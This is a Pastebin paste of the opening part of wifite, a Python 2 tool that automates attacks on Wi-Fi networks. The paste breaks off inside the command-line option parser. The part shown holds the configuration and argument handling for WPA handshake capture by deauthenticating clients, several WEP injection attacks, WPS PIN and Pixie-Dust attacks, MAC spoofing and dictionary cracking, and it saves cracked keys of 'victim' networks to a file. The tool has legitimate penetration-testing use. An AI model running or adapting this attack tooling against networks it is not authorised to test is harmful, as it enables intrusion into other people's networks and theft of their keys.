Advertisement
Guest User

Untitled

a guest
Mar 26th, 2017
168
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 129.90 KB | None | 0 0
  1. #!/usr/bin/env python2
  2.  
  3. # -*- coding: utf-8 -*-
  4.  
  5. """
  6. wifite
  7.  
  8. author: derv82 at gmail
  9. author: bwall @botnet_hunter (ballastsec@gmail.com)
  10. author: drone @dronesec (ballastsec@gmail.com)
  11. author: kurobeats @kurobeats (kurodroid.1@gmail.com)
  12.  
  13. Thanks to everyone that contributed to this project.
  14. If you helped in the past and want your name here, shoot me an email
  15.  
  16. Licensed under the GNU General Public License Version 2 (GNU GPL v2),
  17. available at: http://www.gnu.org/licenses/gpl-2.0.txt
  18.  
  19. (C) 2011 Derv Merkler
  20.  
  21. Ballast Security additions
  22. -----------------
  23. - No longer requires to be root to run -cracked
  24. - cracked.txt changed to cracked.csv and stored in csv format(easier to read, no \x00s)
  25. - Backwards compatibility
  26. - Made a run configuration class to handle globals
  27. - Added -recrack (shows already cracked APs in the possible targets, otherwise hides them)
  28. - Changed the updater to grab files from GitHub and not Google Code
  29. - Use argparse to parse command-line arguments
  30. - -wepca flag now properly initialized if passed through CLI
  31. - parse_csv uses python csv library
  32. -----------------
  33. """
  34.  
  35. #############
  36. # LIBRARIES #
  37. #############
  38.  
  39. import csv # Exporting and importing cracked aps
  40. import os # File management
  41. import time # Measuring attack intervals
  42. import random # Generating a random MAC address.
  43. import errno # Error numbers
  44. import re # RegEx, Converting SSID to filename
  45. import argparse # arg parsing
  46. import urllib # Check for new versions from the repo
  47. import abc # abstract base class libraries for attack templates
  48.  
  49. from sys import argv # Command-line arguments
  50. from sys import stdout # Flushing
  51. from shutil import copy # Copying .cap files
  52. from subprocess import Popen, call, PIPE # Executing, communicating with, killing processes
  53. from signal import SIGINT, SIGTERM # Executing, communicating with, killing processes
  54.  
  55. ################################
  56. # GLOBAL VARIABLES IN ALL CAPS #
  57. ################################
  58.  
  59. # Console colors
  60. W = '\033[0m' # white (normal)
  61. R = '\033[31m' # red
  62. G = '\033[32m' # green
  63. O = '\033[33m' # orange
  64. B = '\033[34m' # blue
  65. P = '\033[35m' # purple
  66. C = '\033[36m' # cyan
  67. GR = '\033[37m' # gray
  68.  
  69. # /dev/null, send output from programs so they don't print to screen.
  70. DN = open(os.devnull, 'w')
  71. ERRLOG = open(os.devnull, 'w')
  72. OUTLOG = open(os.devnull, 'w')
  73.  
  74. ###################
  75. # DATA STRUCTURES #
  76. ###################
  77.  
  78.  
  79. class CapFile:
  80. """
  81. Holds data about an access point's .cap file, including AP's ESSID & BSSID.
  82. """
  83.  
  84. def __init__(self, filename, ssid, bssid):
  85. self.filename = filename
  86. self.ssid = ssid
  87. self.bssid = bssid
  88.  
  89.  
  90. class Target:
  91. """
  92. Holds data for a Target (aka Access Point aka Router)
  93. """
  94.  
  95. def __init__(self, bssid, power, data, channel, encryption, ssid):
  96. self.bssid = bssid
  97. self.power = power
  98. self.data = data
  99. self.channel = channel
  100. self.encryption = encryption
  101. self.ssid = ssid
  102. self.wps = False # Default to non-WPS-enabled router.
  103. self.key = ''
  104.  
  105.  
  106. class Client:
  107. """
  108. Holds data for a Client (device connected to Access Point/Router)
  109. """
  110.  
  111. def __init__(self, bssid, station, power):
  112. self.bssid = bssid
  113. self.station = station
  114. self.power = power
  115.  
  116.  
  117. class RunConfiguration:
  118. """
  119. Configuration for this rounds of attacks
  120. """
  121.  
  122. def __init__(self):
  123. self.REVISION = 87;
  124. self.PRINTED_SCANNING = False
  125.  
  126. self.TX_POWER = 0 # Transmit power for wireless interface, 0 uses default power
  127.  
  128. # WPA variables
  129. self.WPA_DISABLE = False # Flag to skip WPA handshake capture
  130. self.WPA_STRIP_HANDSHAKE = True # Use pyrit or tshark (if applicable) to strip handshake
  131. self.WPA_DEAUTH_COUNT = 5 # Count to send deauthentication packets
  132. self.WPA_DEAUTH_TIMEOUT = 10 # Time to wait between deauthentication bursts (in seconds)
  133. self.WPA_ATTACK_TIMEOUT = 500 # Total time to allow for a handshake attack (in seconds)
  134. self.WPA_HANDSHAKE_DIR = 'hs' # Directory in which handshakes .cap files are stored
  135. # Strip file path separator if needed
  136. if self.WPA_HANDSHAKE_DIR != '' and self.WPA_HANDSHAKE_DIR[-1] == os.sep:
  137. self.WPA_HANDSHAKE_DIR = self.WPA_HANDSHAKE_DIR[:-1]
  138.  
  139. self.WPA_FINDINGS = [] # List of strings containing info on successful WPA attacks
  140. self.WPA_DONT_CRACK = False # Flag to skip cracking of handshakes
  141. if os.path.exists('/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'):
  142. self.WPA_DICTIONARY = '/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'
  143. elif os.path.exists('/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'):
  144. self.WPA_DICTIONARY = '/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'
  145. else:
  146. self.WPA_DICTIONARY = ''
  147.  
  148. # Various programs to use when checking for a four-way handshake.
  149. # True means the program must find a valid handshake in order for wifite to recognize a handshake.
  150. # Not finding handshake short circuits result (ALL 'True' programs must find handshake)
  151. self.WPA_HANDSHAKE_TSHARK = True # Checks for sequential 1,2,3 EAPOL msg packets (ignores 4th)
  152. self.WPA_HANDSHAKE_PYRIT = False # Sometimes crashes on incomplete dumps, but accurate.
  153. self.WPA_HANDSHAKE_AIRCRACK = True # Not 100% accurate, but fast.
  154. self.WPA_HANDSHAKE_COWPATTY = False # Uses more lenient "nonstrict mode" (-2)
  155.  
  156. # WEP variables
  157. self.WEP_DISABLE = False # Flag for ignoring WEP networks
  158. self.WEP_PPS = 600 # packets per second (Tx rate)
  159. self.WEP_TIMEOUT = 600 # Amount of time to give each attack
  160. self.WEP_ARP_REPLAY = True # Various WEP-based attacks via aireplay-ng
  161. self.WEP_CHOPCHOP = True #
  162. self.WEP_FRAGMENT = True #
  163. self.WEP_CAFFELATTE = True #
  164. self.WEP_P0841 = True
  165. self.WEP_HIRTE = True
  166. self.WEP_CRACK_AT_IVS = 10000 # Number of IVS at which we start cracking
  167. self.WEP_IGNORE_FAKEAUTH = True # When True, continues attack despite fake authentication failure
  168. self.WEP_FINDINGS = [] # List of strings containing info on successful WEP attacks.
  169. self.WEP_SAVE = False # Save packets.
  170.  
  171. # WPS variables
  172. self.WPS_DISABLE = False # Flag to skip WPS scan and attacks
  173. self.PIXIE = False
  174. self.WPS_FINDINGS = [] # List of (successful) results of WPS attacks
  175. self.WPS_TIMEOUT = 660 # Time to wait (in seconds) for successful PIN attempt
  176. self.WPS_PIXIE_TIMEOUT = 660 # Time to wait (in seconds) for successful pixie attack
  177. self.WPS_RATIO_THRESHOLD = 0.01 # Lowest percentage of tries/attempts allowed (where tries > 0)
  178. self.WPS_MAX_RETRIES = 0 # Number of times to re-try the same pin before giving up completely.
  179.  
  180.  
  181. # Program variables
  182. self.SHOW_ALREADY_CRACKED = False # Says whether to show already cracked APs as options to crack
  183. self.WIRELESS_IFACE = '' # User-defined interface
  184. self.MONITOR_IFACE = '' # User-defined interface already in monitor mode
  185. self.TARGET_CHANNEL = 0 # User-defined channel to scan on
  186. self.TARGET_ESSID = '' # User-defined ESSID of specific target to attack
  187. self.TARGET_BSSID = '' # User-defined BSSID of specific target to attack
  188. self.IFACE_TO_TAKE_DOWN = '' # Interface that wifite puts into monitor mode
  189. # It's our job to put it out of monitor mode after the attacks
  190. self.ORIGINAL_IFACE_MAC = ('', '') # Original interface name[0] and MAC address[1] (before spoofing)
  191. self.DO_NOT_CHANGE_MAC = True # Flag for disabling MAC anonymizer
  192. self.SEND_DEAUTHS = True # Flag for deauthing clients while scanning for acces points
  193. self.TARGETS_REMAINING = 0 # Number of access points remaining to attack
  194. self.WPA_CAPS_TO_CRACK = [] # list of .cap files to crack (full of CapFile objects)
  195. self.THIS_MAC = '' # The interfaces current MAC address.
  196. self.SHOW_MAC_IN_SCAN = False # Display MACs of the SSIDs in the list of targets
  197. self.CRACKED_TARGETS = [] # List of targets we have already cracked
  198. self.ATTACK_ALL_TARGETS = False # Flag for when we want to attack *everyone*
  199. self.ATTACK_MIN_POWER = 0 # Minimum power (dB) for access point to be considered a target
  200. self.VERBOSE_APS = True # Print access points as they appear
  201. self.CRACKED_TARGETS = self.load_cracked()
  202. old_cracked = self.load_old_cracked()
  203. if len(old_cracked) > 0:
  204. # Merge the results
  205. for OC in old_cracked:
  206. new = True
  207. for NC in self.CRACKED_TARGETS:
  208. if OC.bssid == NC.bssid:
  209. new = False
  210. break
  211. # If Target isn't in the other list
  212. # Add and save to disk
  213. if new:
  214. self.save_cracked(OC)
  215.  
  216. def ConfirmRunningAsRoot(self):
  217. if os.getuid() != 0:
  218. print R + ' [!]' + O + ' ERROR:' + G + ' wifite' + O + ' must be run as ' + R + 'root' + W
  219. print R + ' [!]' + O + ' login as root (' + W + 'su root' + O + ') or try ' + W + 'sudo ./wifite.py' + W
  220. exit(1)
  221.  
  222. def ConfirmCorrectPlatform(self):
  223. if not os.uname()[0].startswith("Linux") and not 'Darwin' in os.uname()[0]: # OSX support, 'cause why not?
  224. print O + ' [!]' + R + ' WARNING:' + G + ' wifite' + W + ' must be run on ' + O + 'linux' + W
  225. exit(1)
  226.  
  227. def CreateTempFolder(self):
  228. from tempfile import mkdtemp
  229.  
  230. self.temp = mkdtemp(prefix='wifite')
  231. if not self.temp.endswith(os.sep):
  232. self.temp += os.sep
  233.  
  234. def save_cracked(self, target):
  235. """
  236. Saves cracked access point key and info to a file.
  237. """
  238. self.CRACKED_TARGETS.append(target)
  239. with open('cracked.csv', 'wb') as csvfile:
  240. targetwriter = csv.writer(csvfile, delimiter=',', quotechar='"', quoting=csv.QUOTE_MINIMAL)
  241. for target in self.CRACKED_TARGETS:
  242. targetwriter.writerow([target.bssid, target.encryption, target.ssid, target.key, target.wps])
  243.  
  244. def load_cracked(self):
  245. """
  246. Loads info about cracked access points into list, returns list.
  247. """
  248. result = []
  249. if not os.path.exists('cracked.csv'): return result
  250. with open('cracked.csv', 'rb') as csvfile:
  251. targetreader = csv.reader(csvfile, delimiter=',', quotechar='"')
  252. for row in targetreader:
  253. t = Target(row[0], 0, 0, 0, row[1], row[2])
  254. t.key = row[3]
  255. t.wps = row[4]
  256. result.append(t)
  257. return result
  258.  
  259. def load_old_cracked(self):
  260. """
  261. Loads info about cracked access points into list, returns list.
  262. """
  263. result = []
  264. if not os.path.exists('cracked.txt'):
  265. return result
  266. fin = open('cracked.txt', 'r')
  267. lines = fin.read().split('\n')
  268. fin.close()
  269.  
  270. for line in lines:
  271. fields = line.split(chr(0))
  272. if len(fields) <= 3:
  273. continue
  274. tar = Target(fields[0], '', '', '', fields[3], fields[1])
  275. tar.key = fields[2]
  276. result.append(tar)
  277. return result
  278.  
  279. def exit_gracefully(self, code=0):
  280. """
  281. We may exit the program at any time.
  282. We want to remove the temp folder and any files contained within it.
  283. Removes the temp files/folder and exists with error code "code".
  284. """
  285. # Remove temp files and folder
  286. if os.path.exists(self.temp):
  287. for f in os.listdir(self.temp):
  288. os.remove(self.temp + f)
  289. os.rmdir(self.temp)
  290. # Disable monitor mode if enabled by us
  291. self.RUN_ENGINE.disable_monitor_mode()
  292. # Change MAC address back if spoofed
  293. mac_change_back()
  294. print GR + " [+]" + W + " quitting" # wifite will now exit"
  295. print ''
  296. # GTFO
  297. exit(code)
  298.  
  299. def handle_args(self):
  300. """
  301. Handles command-line arguments, sets global variables.
  302. """
  303. set_encrypt = False
  304. set_hscheck = False
  305. set_wep = False
  306. capfile = '' # Filename of .cap file to analyze for handshakes
  307.  
  308. opt_parser = self.build_opt_parser()
  309. options = opt_parser.parse_args()
  310.  
  311. try:
  312. if not set_encrypt and (options.wpa or options.wep or options.wps):
  313. self.WPS_DISABLE = True
  314. self.WPA_DISABLE = True
  315. self.WEP_DISABLE = True
  316. set_encrypt = True
  317. if options.recrack:
  318. self.SHOW_ALREADY_CRACKED = True
  319. print GR + ' [+]' + W + ' including already cracked networks in targets.'
  320. if options.wpa:
  321. if options.wps:
  322. print GR + ' [+]' + W + ' targeting ' + G + 'WPA' + W + ' encrypted networks.'
  323. else:
  324. print GR + ' [+]' + W + ' targeting ' + G + 'WPA' + W + ' encrypted networks (use ' + G + '-wps' + W + ' for WPS scan)'
  325. self.WPA_DISABLE = False
  326. if options.wep:
  327. print GR + ' [+]' + W + ' targeting ' + G + 'WEP' + W + ' encrypted networks'
  328. self.WEP_DISABLE = False
  329. if options.wps:
  330. print GR + ' [+]' + W + ' targeting ' + G + 'WPS-enabled' + W + ' networks.'
  331. self.WPS_DISABLE = False
  332. if options.pixie:
  333. print GR + ' [+]' + W + ' targeting ' + G + 'WPS-enabled' + W + ' networks.'
  334. print GR + ' [+]' + W + ' using only ' + G + 'WPS Pixie-Dust' + W + ' attack.'
  335. self.WPS_DISABLE = False
  336. self.WEP_DISABLE = True
  337. self.PIXIE = True
  338. if options.channel:
  339. try:
  340. self.TARGET_CHANNEL = int(options.channel)
  341. except ValueError:
  342. print O + ' [!]' + R + ' invalid channel: ' + O + options.channel + W
  343. except IndexError:
  344. print O + ' [!]' + R + ' no channel given!' + W
  345. else:
  346. print GR + ' [+]' + W + ' channel set to %s' % (G + str(self.TARGET_CHANNEL) + W)
  347. if options.mac_anon:
  348. print GR + ' [+]' + W + ' mac address anonymizing ' + G + 'enabled' + W
  349. print O + ' not: only works if device is not already in monitor mode!' + W
  350. self.DO_NOT_CHANGE_MAC = False
  351. if options.interface:
  352. self.WIRELESS_IFACE = options.interface
  353. print GR + ' [+]' + W + ' set interface: %s' % (G + self.WIRELESS_IFACE + W)
  354. if options.monitor_interface:
  355. self.MONITOR_IFACE = options.monitor_interface
  356. print GR + ' [+]' + W + ' set interface already in monitor mode: %s' % (G + self.MONITOR_IFACE + W)
  357. if options.nodeauth:
  358. self.SEND_DEAUTHS = False
  359. print GR + ' [+]' + W + ' will not deauthenticate clients while scanning%s' % W
  360. if options.essid:
  361. try:
  362. self.TARGET_ESSID = options.essid
  363. except ValueError:
  364. print R + ' [!]' + O + ' no ESSID given!' + W
  365. else:
  366. print GR + ' [+]' + W + ' targeting ESSID "%s"' % (G + self.TARGET_ESSID + W)
  367. if options.bssid:
  368. try:
  369. self.TARGET_BSSID = options.bssid
  370. except ValueError:
  371. print R + ' [!]' + O + ' no BSSID given!' + W
  372. else:
  373. print GR + ' [+]' + W + ' targeting BSSID "%s"' % (G + self.TARGET_BSSID + W)
  374. if options.showb:
  375. self.SHOW_MAC_IN_SCAN = True
  376. print GR + ' [+]' + W + ' target MAC address viewing ' + G + 'enabled' + W
  377. if options.all:
  378. self.ATTACK_ALL_TARGETS = True
  379. print GR + ' [+]' + W + ' targeting ' + G + 'all access points' + W
  380. if options.power:
  381. try:
  382. self.ATTACK_MIN_POWER = int(options.power)
  383. except ValueError:
  384. print R + ' [!]' + O + ' invalid power level: %s' % (R + options.power + W)
  385. except IndexError:
  386. print R + ' [!]' + O + ' no power level given!' + W
  387. else:
  388. print GR + ' [+]' + W + ' minimum target power set to %s' % (G + str(self.ATTACK_MIN_POWER) + W)
  389. if options.tx:
  390. try:
  391. self.TX_POWER = int(options.tx)
  392. except ValueError:
  393. print R + ' [!]' + O + ' invalid TX power leve: %s' % ( R + options.tx + W)
  394. except IndexError:
  395. print R + ' [!]' + O + ' no TX power level given!' + W
  396. else:
  397. print GR + ' [+]' + W + ' TX power level set to %s' % (G + str(self.TX_POWER) + W)
  398. if options.quiet:
  399. self.VERBOSE_APS = False
  400. print GR + ' [+]' + W + ' list of APs during scan ' + O + 'disabled' + W
  401. if options.check:
  402. try:
  403. capfile = options.check
  404. except IndexError:
  405. print R + ' [!]' + O + ' unable to analyze capture file' + W
  406. print R + ' [!]' + O + ' no cap file given!\n' + W
  407. self.exit_gracefully(1)
  408. else:
  409. if not os.path.exists(capfile):
  410. print R + ' [!]' + O + ' unable to analyze capture file!' + W
  411. print R + ' [!]' + O + ' file not found: ' + R + capfile + '\n' + W
  412. self.exit_gracefully(1)
  413. if options.update:
  414. self.upgrade()
  415. exit(0)
  416. if options.cracked:
  417. if len(self.CRACKED_TARGETS) == 0:
  418. print R + ' [!]' + O + ' There are no cracked access points saved to ' + R + 'cracked.db\n' + W
  419. self.exit_gracefully(1)
  420. print GR + ' [+]' + W + ' ' + W + 'previously cracked access points' + W + ':'
  421. for victim in self.CRACKED_TARGETS:
  422. if victim.wps != False:
  423. print ' %s (%s) : "%s" - Pin: %s' % (
  424. C + victim.ssid + W, C + victim.bssid + W, G + victim.key + W, G + victim.wps + W)
  425. else:
  426. print ' %s (%s) : "%s"' % (C + victim.ssid + W, C + victim.bssid + W, G + victim.key + W)
  427. print ''
  428. self.exit_gracefully(0)
  429. # WPA
  430. if not set_hscheck and (options.tshark or options.cowpatty or options.aircrack or options.pyrit):
  431. self.WPA_HANDSHAKE_TSHARK = False
  432. self.WPA_HANDSHAKE_PYRIT = False
  433. self.WPA_HANDSHAKE_COWPATTY = False
  434. self.WPA_HANDSHAKE_AIRCRACK = False
  435. set_hscheck = True
  436. if options.strip:
  437. self.WPA_STRIP_HANDSHAKE = True
  438. print GR + ' [+]' + W + ' handshake stripping ' + G + 'enabled' + W
  439. if options.wpadt:
  440. try:
  441. self.WPA_DEAUTH_TIMEOUT = int(options.wpadt)
  442. except ValueError:
  443. print R + ' [!]' + O + ' invalid deauth timeout: %s' % (R + options.wpadt + W)
  444. except IndexError:
  445. print R + ' [!]' + O + ' no deauth timeout given!' + W
  446. else:
  447. print GR + ' [+]' + W + ' WPA deauth timeout set to %s' % (G + str(self.WPA_DEAUTH_TIMEOUT) + W)
  448. if options.wpat:
  449. try:
  450. self.WPA_ATTACK_TIMEOUT = int(options.wpat)
  451. except ValueError:
  452. print R + ' [!]' + O + ' invalid attack timeout: %s' % (R + options.wpat + W)
  453. except IndexError:
  454. print R + ' [!]' + O + ' no attack timeout given!' + W
  455. else:
  456. print GR + ' [+]' + W + ' WPA attack timeout set to %s' % (G + str(self.WPA_ATTACK_TIMEOUT) + W)
  457. if options.crack:
  458. self.WPA_DONT_CRACK = False
  459. print GR + ' [+]' + W + ' WPA cracking ' + G + 'enabled' + W
  460. if options.dic:
  461. try:
  462. self.WPA_DICTIONARY = options.dic
  463. except IndexError:
  464. print R + ' [!]' + O + ' no WPA dictionary given!'
  465. else:
  466. if os.path.exists(options.dic):
  467. print GR + ' [+]' + W + ' WPA dictionary set to %s' % (G + self.WPA_DICTIONARY + W)
  468. else:
  469. print R + ' [!]' + O + ' WPA dictionary file not found: %s' % (options.dic)
  470. else:
  471. print R + ' [!]' + O + ' WPA dictionary file not given!'
  472. self.exit_gracefully(1)
  473. if options.tshark:
  474. self.WPA_HANDSHAKE_TSHARK = True
  475. print GR + ' [+]' + W + ' tshark handshake verification ' + G + 'enabled' + W
  476. if options.pyrit:
  477. self.WPA_HANDSHAKE_PYRIT = True
  478. print GR + ' [+]' + W + ' pyrit handshake verification ' + G + 'enabled' + W
  479. if options.aircrack:
  480. self.WPA_HANDSHAKE_AIRCRACK = True
  481. print GR + ' [+]' + W + ' aircrack handshake verification ' + G + 'enabled' + W
  482. if options.cowpatty:
  483. self.WPA_HANDSHAKE_COWPATTY = True
  484. print GR + ' [+]' + W + ' cowpatty handshake verification ' + G + 'enabled' + W
  485.  
  486. # WEP
  487. if not set_wep and options.chopchop or options.fragment or options.caffeelatte or options.arpreplay \
  488. or options.p0841 or options.hirte:
  489. self.WEP_CHOPCHOP = False
  490. self.WEP_ARPREPLAY = False
  491. self.WEP_CAFFELATTE = False
  492. self.WEP_FRAGMENT = False
  493. self.WEP_P0841 = False
  494. self.WEP_HIRTE = False
  495. if options.chopchop:
  496. print GR + ' [+]' + W + ' WEP chop-chop attack ' + G + 'enabled' + W
  497. self.WEP_CHOPCHOP = True
  498. if options.fragment:
  499. print GR + ' [+]' + W + ' WEP fragmentation attack ' + G + 'enabled' + W
  500. self.WEP_FRAGMENT = True
  501. if options.caffeelatte:
  502. print GR + ' [+]' + W + ' WEP caffe-latte attack ' + G + 'enabled' + W
  503. self.WEP_CAFFELATTE = True
  504. if options.arpreplay:
  505. print GR + ' [+]' + W + ' WEP arp-replay attack ' + G + 'enabled' + W
  506. self.WEP_ARPREPLAY = True
  507. if options.p0841:
  508. print GR + ' [+]' + W + ' WEP p0841 attack ' + G + 'enabled' + W
  509. self.WEP_P0841 = True
  510. if options.hirte:
  511. print GR + ' [+]' + W + ' WEP hirte attack ' + G + 'enabled' + W
  512. self.WEP_HIRTE = True
  513. if options.fakeauth:
  514. print GR + ' [+]' + W + ' ignoring failed fake-authentication ' + R + 'disabled' + W
  515. self.WEP_IGNORE_FAKEAUTH = False
  516. if options.wepca:
  517. try:
  518. self.WEP_CRACK_AT_IVS = int(options.wepca)
  519. except ValueError:
  520. print R + ' [!]' + O + ' invalid number: %s' % ( R + options.wepca + W )
  521. except IndexError:
  522. print R + ' [!]' + O + ' no IV number specified!' + W
  523. else:
  524. print GR + ' [+]' + W + ' Starting WEP cracking when IV\'s surpass %s' % (
  525. G + str(self.WEP_CRACK_AT_IVS) + W)
  526. if options.wept:
  527. try:
  528. self.WEP_TIMEOUT = int(options.wept)
  529. except ValueError:
  530. print R + ' [!]' + O + ' invalid timeout: %s' % (R + options.wept + W)
  531. except IndexError:
  532. print R + ' [!]' + O + ' no timeout given!' + W
  533. else:
  534. print GR + ' [+]' + W + ' WEP attack timeout set to %s' % (
  535. G + str(self.WEP_TIMEOUT) + " seconds" + W)
  536. if options.pps:
  537. try:
  538. self.WEP_PPS = int(options.pps)
  539. except ValueError:
  540. print R + ' [!]' + O + ' invalid value: %s' % (R + options.pps + W)
  541. except IndexError:
  542. print R + ' [!]' + O + ' no value given!' + W
  543. else:
  544. print GR + ' [+]' + W + ' packets-per-second rate set to %s' % (
  545. G + str(options.pps) + " packets/sec" + W)
  546. if options.wepsave:
  547. self.WEP_SAVE = True
  548. print GR + ' [+]' + W + ' WEP .cap file saving ' + G + 'enabled' + W
  549.  
  550. # WPS
  551. if options.wpst:
  552. try:
  553. self.WPS_TIMEOUT = int(options.wpst)
  554. except ValueError:
  555. print R + ' [!]' + O + ' invalid timeout: %s' % (R + options.wpst + W)
  556. except IndexError:
  557. print R + ' [!]' + O + ' no timeout given!' + W
  558. else:
  559. print GR + ' [+]' + W + ' WPS attack timeout set to %s' % (
  560. G + str(self.WPS_TIMEOUT) + " seconds" + W)
  561. if options.pixiet:
  562. try:
  563. self.WPS_PIXIE_TIMEOUT = int(options.pixiet)
  564. except ValueError:
  565. print R + ' [!]' + O + ' invalid timeout: %s' % (R + options.pixiet + W)
  566. except IndexError:
  567. print R + ' [!]' + O + ' no timeout given!' + W
  568. else:
  569. print GR + ' [+]' + W + ' WPS PixieDust attack timeout set to %s' % (
  570. G + str(self.WPS_PIXIE_TIMEOUT) + " seconds" + W)
  571. if options.wpsratio:
  572. try:
  573. self.WPS_RATIO_THRESHOLD = float(options.wpsratio)
  574. except ValueError:
  575. print R + ' [!]' + O + ' invalid percentage: %s' % (R + options.wpsratio + W)
  576. except IndexError:
  577. print R + ' [!]' + O + ' no ratio given!' + W
  578. else:
  579. print GR + ' [+]' + W + ' minimum WPS tries/attempts threshold set to %s' % (
  580. G + str(self.WPS_RATIO_THRESHOLD) + "" + W)
  581. if options.wpsretry:
  582. try:
  583. self.WPS_MAX_RETRIES = int(options.wpsretry)
  584. except ValueError:
  585. print R + ' [!]' + O + ' invalid number: %s' % (R + options.wpsretry + W)
  586. except IndexError:
  587. print R + ' [!]' + O + ' no number given!' + W
  588. else:
  589. print GR + ' [+]' + W + ' WPS maximum retries set to %s' % (
  590. G + str(self.WPS_MAX_RETRIES) + " retries" + W)
  591.  
  592. except IndexError:
  593. print '\nindexerror\n\n'
  594.  
  595. if capfile != '':
  596. self.RUN_ENGINE.analyze_capfile(capfile)
  597. print ''
  598.  
  599. def build_opt_parser(self):
  600. """ Options are doubled for backwards compatability; will be removed soon and
  601. fully moved to GNU-style
  602. """
  603. option_parser = argparse.ArgumentParser()
  604.  
  605. # set commands
  606. command_group = option_parser.add_argument_group('COMMAND')
  607. command_group.add_argument('--check', help='Check capfile [file] for handshakes.', action='store', dest='check')
  608. command_group.add_argument('-check', action='store', dest='check', help=argparse.SUPPRESS)
  609. command_group.add_argument('--cracked', help='Display previously cracked access points.', action='store_true',
  610. dest='cracked')
  611. command_group.add_argument('-cracked', help=argparse.SUPPRESS, action='store_true', dest='cracked')
  612. command_group.add_argument('--recrack', help='Include already cracked networks in targets.',
  613. action='store_true', dest='recrack')
  614. command_group.add_argument('-recrack', help=argparse.SUPPRESS, action='store_true', dest='recrack')
  615.  
  616. # set global
  617. global_group = option_parser.add_argument_group('GLOBAL')
  618. global_group.add_argument('--all', help='Attack all targets.', default=False, action='store_true', dest='all')
  619. global_group.add_argument('-all', help=argparse.SUPPRESS, default=False, action='store_true', dest='all')
  620. global_group.add_argument('-i', help='Wireless interface for capturing.', action='store', dest='interface')
  621. global_group.add_argument('--mac', help='Anonymize MAC address.', action='store_true', default=False,
  622. dest='mac_anon')
  623. global_group.add_argument('-mac', help=argparse.SUPPRESS, action='store_true', default=False, dest='mac_anon')
  624. global_group.add_argument('--mon-iface', help='Interface already in monitor mode.', action='store',
  625. dest='monitor_interface')
  626. global_group.add_argument('-c', help='Channel to scan for targets.', action='store', dest='channel')
  627. global_group.add_argument('-e', help='Target a specific access point by ssid (name).', action='store',
  628. dest='essid')
  629. global_group.add_argument('-b', help='Target a specific access point by bssid (mac).', action='store',
  630. dest='bssid')
  631. global_group.add_argument('--showb', help='Display target BSSIDs after scan.', action='store_true',
  632. dest='showb')
  633. global_group.add_argument('-showb', help=argparse.SUPPRESS, action='store_true', dest='showb')
  634. global_group.add_argument('--nodeauth', help='Do not deauthenticate clients while scanning', action='store_true', dest='nodeauth')
  635. global_group.add_argument('--power', help='Attacks any targets with signal strength > [pow].', action='store',
  636. dest='power')
  637. global_group.add_argument('-power', help=argparse.SUPPRESS, action='store', dest='power')
  638. global_group.add_argument('--tx', help='Set adapter TX power level.', action='store', dest='tx')
  639. global_group.add_argument('-tx', help=argparse.SUPPRESS, action='store', dest='tx')
  640. global_group.add_argument('--quiet', help='Do not print list of APs during scan.', action='store_true',
  641. dest='quiet')
  642. global_group.add_argument('-quiet', help=argparse.SUPPRESS, action='store_true', dest='quiet')
  643. global_group.add_argument('--update', help='Check and update Wifite.', default=False, action='store_true',
  644. dest='update')
  645. global_group.add_argument('-update', help=argparse.SUPPRESS, default=False, action='store_true', dest='update')
  646. # set wpa commands
  647. wpa_group = option_parser.add_argument_group('WPA')
  648. wpa_group.add_argument('--wpa', help='Only target WPA networks (works with --wps --wep).', default=False,
  649. action='store_true', dest='wpa')
  650. wpa_group.add_argument('-wpa', help=argparse.SUPPRESS, default=False, action='store_true', dest='wpa')
  651. wpa_group.add_argument('--wpat', help='Time to wait for WPA attack to complete (seconds).', action='store',
  652. dest='wpat')
  653. wpa_group.add_argument('-wpat', help=argparse.SUPPRESS, action='store', dest='wpat')
  654. wpa_group.add_argument('--wpadt', help='Time to wait between sending deauth packets (seconds).', action='store',
  655. dest='wpadt')
  656. wpa_group.add_argument('-wpadt', help=argparse.SUPPRESS, action='store', dest='wpadt')
  657. wpa_group.add_argument('--strip', help='Strip handshake using tshark or pyrit.', default=False,
  658. action='store_true', dest='strip')
  659. wpa_group.add_argument('-strip', help=argparse.SUPPRESS, default=False, action='store_true', dest='strip')
  660. wpa_group.add_argument('--crack', help='Crack WPA handshakes using [dic] wordlist file.', action='store_true',
  661. dest='crack')
  662. wpa_group.add_argument('-crack', help=argparse.SUPPRESS, action='store_true', dest='crack')
  663. wpa_group.add_argument('--dict', help='Specificy dictionary to use when cracking WPA.', action='store',
  664. dest='dic')
  665. wpa_group.add_argument('-dict', help=argparse.SUPPRESS, action='store', dest='dic')
  666. wpa_group.add_argument('--aircrack', help='Verify handshake using aircrack.', default=False,
  667. action='store_true', dest='aircrack')
  668. wpa_group.add_argument('-aircrack', help=argparse.SUPPRESS, default=False, action='store_true', dest='aircrack')
  669. wpa_group.add_argument('--pyrit', help='Verify handshake using pyrit.', default=False, action='store_true',
  670. dest='pyrit')
  671. wpa_group.add_argument('-pyrit', help=argparse.SUPPRESS, default=False, action='store_true', dest='pyrit')
  672. wpa_group.add_argument('--tshark', help='Verify handshake using tshark.', default=False, action='store_true',
  673. dest='tshark')
  674. wpa_group.add_argument('-tshark', help=argparse.SUPPRESS, default=False, action='store_true', dest='tshark')
  675. wpa_group.add_argument('--cowpatty', help='Verify handshake using cowpatty.', default=False,
  676. action='store_true', dest='cowpatty')
  677. wpa_group.add_argument('-cowpatty', help=argparse.SUPPRESS, default=False, action='store_true', dest='cowpatty')
  678. # set WEP commands
  679. wep_group = option_parser.add_argument_group('WEP')
  680. wep_group.add_argument('--wep', help='Only target WEP networks.', default=False, action='store_true',
  681. dest='wep')
  682. wep_group.add_argument('-wep', help=argparse.SUPPRESS, default=False, action='store_true', dest='wep')
  683. wep_group.add_argument('--pps', help='Set the number of packets per second to inject.', action='store',
  684. dest='pps')
  685. wep_group.add_argument('-pps', help=argparse.SUPPRESS, action='store', dest='pps')
  686. wep_group.add_argument('--wept', help='Sec to wait for each attack, 0 implies endless.', action='store',
  687. dest='wept')
  688. wep_group.add_argument('-wept', help=argparse.SUPPRESS, action='store', dest='wept')
  689. wep_group.add_argument('--chopchop', help='Use chopchop attack.', default=False, action='store_true',
  690. dest='chopchop')
  691. wep_group.add_argument('-chopchop', help=argparse.SUPPRESS, default=False, action='store_true', dest='chopchop')
